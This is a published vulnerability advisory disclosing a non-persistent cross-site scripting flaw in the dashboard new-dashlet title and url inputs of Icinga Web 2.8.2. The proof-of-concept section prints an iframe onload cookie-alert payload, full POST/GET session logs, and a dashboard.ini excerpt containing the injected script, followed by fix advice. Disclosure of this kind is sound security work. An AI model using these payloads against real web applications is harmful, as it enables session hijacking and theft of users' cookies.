Share
## https://sploitus.com/exploit?id=VULNERABLE:2273
Document Title:
===============
Inciga Web v2.8.2 - Cross Site Scripting Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2273
Release Date:
=============
2022-04-08
Vulnerability Laboratory ID (VL-ID):
====================================
2273
Common Vulnerability Scoring System:
====================================
5
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Icinga Web 2 is the next generation open source monitoring web interface, framework and command-line interface developed by the
Icinga Project, supporting Icinga 2, Icinga Core and any other monitoring backend compatible with the IDO database.
(Copy of the Homepage: https://icinga.com/ & https://github.com/Icinga/icingaweb2 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non-persistent cross site scripting vulnerability in the Inciga Web v2.8.2 application.
Affected Product(s):
====================
Inciga
Product: Inciga Web v2.8.2 - Monitoring (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2021-07-24: Researcher Notification & Coordination (Security Researcher)
2021-07-25: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2022-04-08: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Inciga Web v2.8.2 monitoring service web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser to
web-application requests from the client-side.
The vulnerability is located in the icinga.min.js file that uses the EventListener.handleEvent to adding new-dashlet with title, url & content.
Remote attackers are able to execute client-side script codes using the permission to request the icinga.min.js file with low/medium user interaction.
Once the script code is injected the a content request can result in a client-side delivered error that executes the content a second time because of
showing the errors again. The request method to inject is post and the attack vector of the vulnerability is non-persistent.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.
Request Method(s):
[+] POST
Vulnerable File(s):
[+] icinga.min.js
Vulnerable Module(s):
[+] add (new-dashlet)
Vulnerable Input(s):
[+] title
[+] url
Affected Module(s):
[+] Exception Handling
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without user account and with low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Payload:
<iframe src=evil.source onload=alert(document.cookie)></iframe>
<iframe src=evil.source onload=alert(document.domain)></iframe>
--- PoC Session Logs (POST) ---
https://localhost:8080/Icinga-web/dashboard/new-dashlet
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Icinga-Accept: text/html
X-Icinga-WindowId: hcqobunxtraj
X-Requested-With: XMLHttpRequest
Content-Length: 376
Origin: https://localhost:8080
Connection: keep-alive
Referer: https://localhost:8080/Icinga-web/dashboard/new-dashlet
Cookie: Icingaweb2=4nhl3r5pfbdnnjf6p2ncnj190m; icingaweb2-session=1627120909; icingaweb2-tzo=7200-1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
org_pane=&org_dashlet=&url=<iframe src=evil.source onload=alert(document.cookie)></iframe>
&dashlet=<iframe src=evil.source onload=alert(document.cookie)></iframe>
&create_new_pane=0&pane=Current Incidents&formUID=form_dashboard_addurl
&btn_submit=Add To Dashboard
-
POST: HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Icinga-Title: Icinga%20Web
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 552
Content-Type: text/html; charset=UTF-8
Set-Cookie: Icingaweb2=4nhl3r5pfbdnnjf6p2ncnj190m; path=/Icinga-web/; HttpOnly
Via: 1.1 localhost:8080
Connection: close
-
https://localhost:8080/Icinga-web/evil.source
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://localhost:8080/Icinga-web/dashboard/new-dashlet
Cookie: Icingaweb2=5nhl3r5pfbdnnjf6p2ncnj110n; icingaweb2-session=1627120909; icingaweb2-tzo=7200-1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Set-Cookie: Icingaweb2=5nhl3r5pfbdnnjf6p2ncnj110n; path=/Icinga-web/; HttpOnly
Via: 1.1 localhost:8080
Connection: close
Transfer-Encoding: chunked
-
Vulnerable Source: new-dashlet (EventListener.handleEvent - add) [icinga.min.js]
<p>Please copy the following dashboard snippet to
<strong>/etc/icingaweb2/dashboards/Icinga-web/dashboard.ini;</strong>.<br>
Make sure that the webserver can write to this file.</p>
<pre>[Current Incidents.Recently Recovered Services]
url = "monitoring/list/services?service_state=0&limit=10&sort=service_last_state_change&dir=desc"
title = "Recently Recovered Services"
disabled = "1"
[Current Incidents.Cube]
url = "cube?dimensions=environment%2Clocation&showSettings=0"
title = "Cube"
[Current Incidents.DNS Business Process]
url = "businessprocess/process/show?config=DNS&mode=tree"
title = "DNS Business Process"
[Current Incidents.<iframe src="evil.source" onload="alert(document.cookie)"></iframe>]
url = "<iframe src="evil.source" onload="alert(document.cookie)"></iframe>"
title = "<iframe src="evil.source" onload="alert(document.cookie)"></iframe>"
[Overdue]
title = "Overdue"
disabled = "1"
[Muted]
title = "Muted"
disabled = "1"
</pre>
-
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure encode of the icinga.min.js file that uses the EventListener.handleEvent add for urls, titles & contents.
Restrict and sanitize the input fields and disallow the usage of special chars.
Security Risk:
==============
The secuirty risk of the cross site scripting web vulnerability in the inciga web2 web-application is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]™